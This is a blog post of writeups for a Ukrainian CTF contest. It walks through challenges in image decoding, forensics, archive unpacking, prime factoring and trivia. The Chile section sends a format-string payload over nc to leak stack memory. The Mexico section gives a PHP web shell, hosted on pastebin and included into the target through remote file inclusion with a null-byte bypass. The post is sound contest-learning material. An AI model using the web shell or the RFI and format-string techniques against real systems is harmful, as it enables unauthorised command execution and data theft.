+
Over the past week, I again worked with Gophers
+ in the Shell on a Ukrainian CTF called H4CK1T CTF. We finished 59th out of 1057 teams, with 2703 points.
+ Here are some of my writeups.
+
Algeria (250)
+
In this task we are given an encrypted image as
+ well as the encryption script. The script looks like this (condensed):
+
x = random.randint(1,255)
y = random.randint(1,255)
+
img_pix.putpixel((0,0),(len(FLAG),x,y))
+
for l in FLAG:
x1 = random.randint(1,255)
y1 = random.randint(1,255)
img_pix.putpixel((x,y),(ord(l),x1,y1))
x = x1
y = y1
+
img_pix.save(‘encrypted.png’)
+
It seems that each character of the flag is
+ placed at random points in the encrypted image. Fortunately, each character also comes with the
+ coordinates of the next character. To solve the challenge, we just write a reversing script.
+
FLAG = “”
img = Image.open(“encrypted.png”)
img_pix = img.convert(“RGB”)
+
FLAG_LEN, x, y = img_pix.getpixel((0, 0))
for i in range(FLAG_LEN — 1):
c, x, y = img_pix.getpixel((x, y))
FLAG += chr(c)
+
print FLAG
+
The flag is h4ck1t{1NF0RM$T10N_1$_N0T_$3CUR3_4NYM0R}.
+
Argentina (100)
+
I’m guessing the point of this problem was for
+ you to go through the network data and look for the right packets, but I just used strings.
+
$ strings top_secret_39af3e3ce5a5d5bc915749267d92ba43.pcap | grep h4ck1t
PASS h4ck1t{i_G07_ur_f1l3s}
+
The flag is h4ck1t{i_G07_ur_f1l3s}.
+
Brazil (100)
+
In this challenge, we get a ZIP full of random
+ files (that look super suspicious), and we are asked to look for a secret. One place I eventually decided
+ to look at was Thumbs.db, which is a file that stores thumbnails for Windows Explorer.
+
There are many tools out there that can help
+ open this type of file. I used Thumbs Viewer. Either way, the flag is the name of one of the thumbnails, h4ck1t{75943a3ca2223076e997fe30e17597d4}.
+
Canada (300)
+
I don’t think I did this the intended way, but
+ we were given a binary that apparently produces an output file. But I just did
+
$ strings parse | grep h4ck1t
to unused region of span2910383045673370361328125_cgo_thread_start missingacquirep: invalid p stateallgadd: bad status Gidlebad procedure for programbad status in shrinkstackcan’t scan gchelper stackchansend: spurious wakeupcheckdead: no m for timercheckdead: no p for timerh4ck1t{T0mmy_g0t_h1s_Gun}mach_semcreate desc countmissing stack in newstackno buffer space availableno such file or directoryoperation now in progressreflect: Bits of nil Typereleasep: invalid p stateresource deadlock avoidedruntime: program exceeds runtime
+
The flag is h4ck1t{T0mmy_g0t_h1s_Gun}.
+
China (150)
+
This one was rather annoying. When you first
+ open the RTF file, there is about 53 pages of random hex. I stripped all the nonsense off, and opened the
+ binary file with HxD, only to discover that it was a PNG. Not only that, it seemed to have a ZIP appended
+ to the end of it.
+
At that point, I just binwalk’d the PNG and extracted the ZIP, leading me to flag.txt, containing the flag, h4ck1t{rtf_d0cs_4r3_awesome}.
+
Chile (100)
+
We’re told to connect to 91.231.84.36:9001. When we connect, we are greeted with a
+ prompt: wanna see?
+
It seems that the program will print back
+ whatever you give it. One thought that came to mind was a print format vulnerability. If the program calls
+ printf(input) where input is the user input, then putting format symbols into our
+ input will cause the program to start reading off the stack.
+
+
There was probably a better way to do it, but
+ essentially I just grabbed the top 50 elements off the stack and looked for a flag. And it was there!
+
failedxyz@backtick:~$ python -c ‘print “%p-” * 50’ | nc 91.231.84.36 9001
wanna see?
ok, so…
0x7f0778198483–0x7f07781999e0–0x7f0777ec4710–0x7f07781999e0-(nil)-0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x70252d70252d7025–0x252d70252d70252d-0x2d70252d70252d70–0x2d70252d7025-(nil)-(nil)-0x7f0777de7c38-(nil)-0x7ffe058d71d0–0x7f0778198400–0x7f0777e54987–0x7f0778198400-(nil)-0x7f07783c7740–0x7f0777e517d9–0x7f0778198400–0x7f0777e49693-(nil)-0xea7c2294f9fed000–0x7ffe058d71d0–0x4007c1–0x647b74316b633468–0x355f7530595f4431–0x3f374168375f6545–0x7d373f-0x4007f0–0xea7c2294f9fed000–0x7ffe058d72b0-(nil)-(nil)-
+
If you get rid of the (nil)s and reverse the string (remember endianness), then you
+ should eventually arrive at the flag, which is h4ck1t{d1D_Y0u_5Ee_7hA7??7}.
+
Germany (200)
+
In this problem, we are given a dump of some
+ Corp User’s home folder. Most of the documents are useless, but what we are looking for is in the AppData
+ folder. More specifically, the transmission of information happens over Skype, so I looked in AppData\Roaming\Skype\live#3aames.aldrich.
+
main.db kinda stuck out, so I opened that first. It was an
+ SQLite database of a bunch of different Skype data. I ended up finding the flag in the Contacts table, in the row containing the user zog black, under province and city columns apparently. The flag was h4ck1t{87e2bc9573392d5f4458393375328cf2}.
+
Mexico (150)
+
If you click around the navigation bar of the
+ website, you’ll notice that the pages are loaded by index.php?page=example. It probably includes pages through
+ some naive include function without any sanitation, although it appends .php to the end of the filename.
+
To bypass this, we just stick a %00 null character to the end of our URL. Then PHP stops
+ reading when it hits that and won’t append .php after the
+ file. But what file can we include to find the flag?
+
It occurred to me that if we could include any
+ file, we could set up a pastebin containing an executable PHP code, and then include it. The PHP code I
+ included looks like this:
+
if (isset($_GET[‘cmd’]))
echo system($_GET[‘cmd’]);
?>
+
Stick that in a pastebin or something, and
+ then include it in your URL like this:
+
http://91.231.84.36:9150/index.php?page=http://pastebin.com/raw/icSpe0F0%00
+
Now you can execute shell commands from the
+ URL. Doing an ls on the current directory reveals a file
+ called sup3r_$3cr3t_f1le.php. If you cat sup3r* then you should be able to get the flag: h4ck1t{g00d_rfi_its_y0ur_fl@g}.
+
Mongolia (100)
+
In this problem we are asked to connect to
+ ctf.com.ua:9988 and solve math problems. We told C = A ^ B and then given C, we are asked to find A and B.
+ Problem is, the C that they give are sometimes hundreds of digits long. Brute forcing directly is not a
+ good idea.
+
+
The algorithm we used was to prime-factorize C,
+ and then multiply the factors as A, and counting how many of each factor as B. Obviously, if a factor like
+ 2 appeared more than once, we multiply it twice into A, rather than making B twice as large.
+
We used the Sieve of Atkin to generate a list of
+ primes up to 10,000,000 (although we probably didn’t need that many), and stored it into primes.txt. The final program looks like this:
+
from collections import Counter
import socket
+
s = socket.socket()
s.connect((“ctf.com.ua”, 9988))
+
primes = map(int, open(“primes.txt”).read().split(“ “))
i = 0
while True:
o = s.recv(8192)
print o
q = o.replace(“\n”, “”).replace(“ “, “”).split(“C=”)
r = int(q[-1])
print r
done = False
factors = []
for prime in primes:
while r % prime == 0:
factors.append(prime)
r //= prime
c = Counter(factors)
f = zip(*c.items())
B = min(c.values())
print f, c
A = reduce(lambda x, y: x * (y ** (c[y] // B)), f[0], 1)
if B == 1: A = r
print A, B
s.send(“%s %s\n” % (A, B))
+
The flag is h4ck1t{R4ND0M_1S_MY_F4V0UR1T3_W34P0N}.
+
Oman (50)
+
I was so excited to do this challenge! Once I
+ unzipped the file and saw the folders and files, I knew it was a Minecraft world save!
+
I kind of saw it coming, but once I opened the
+ world, tons of shit blew up in my face. I decided to open it with MCEdit instead. There is a sign above
+ the spawn point that asks you to “remove the gray”. Since there was a huge rectangular field of bedrock, I
+ assumed it meant that.
+
Thing is if you play, and step on the pressure
+ plate, it will trigger a TNT chain reaction, blowing up the blocks that make up the flag. Using MCEdit, I
+ just selected the bedrock region and deleted it, revealing the flag below: h4ck1t{m1n3craft_h4c3r}.
+
Paraguay (250)
+
Honestly, this one was such a pain in the ass.
+ Just when you thought it was 100 nested ZIPs, suddenly a RAR comes out of nowhere. Fortunately, a Python
+ library called pyunpack figures that out for you, by
+ checking the magic number of the file. The final script looks like this:
+
from pyunpack import *
import shutil
+
for i in range(100, 0, -1):
Archive(“%d” % i).extractall(“.”)
shutil.move(“work_folder/%d” % (i — 1), “%d” % (i — 1))
+
The flag is h4ck1t{0W_MY_G0D_Y0U_M4D3_1T} .
+
United States (50)
+
This one was a freebie. Join their Telegram
+ channel and you get a free flag: h4ck1t{fr33_4nd_$ecur3!}.
+
Trivia
+
There were a lot of trivia questions on the
+ board! They weren’t worth much, but still pretty fun. Here are the solutions:
+
Cote d’Ivoire: h4ck1t{arpanet}
Bolivia: h4ck1t{Tim}
Colombia: h4ck1t{heartbleed}
Costa Rica: h4ck1t{7}
Ecuador: h4ck1t{archie}
Finland: h4ck1t{mitnick}
Greece: h4ck1t{30}
Honduras: h4ck1t{Binary}
Italy: h4ck1t{2015}
Kazakhstan: h4ck1t{polymorphic}
Kyrgyzstan: h4ck1t{smtp}
Madagascar: h4ck1t{caesar}
Nicaragua: h4ck1t{B@S3_S0_B@S3_}
Nigeria: h4ck1t{128}
Peru: h4ck1t{Decimal}
Phillipines: h4ck1t{creeper}
Spain: h4ck1t{social engineering}
Venezuela: h4ck1t{admin123}
+
+ 
+ 
+ 
+ 
+ 
+ 
+ 
+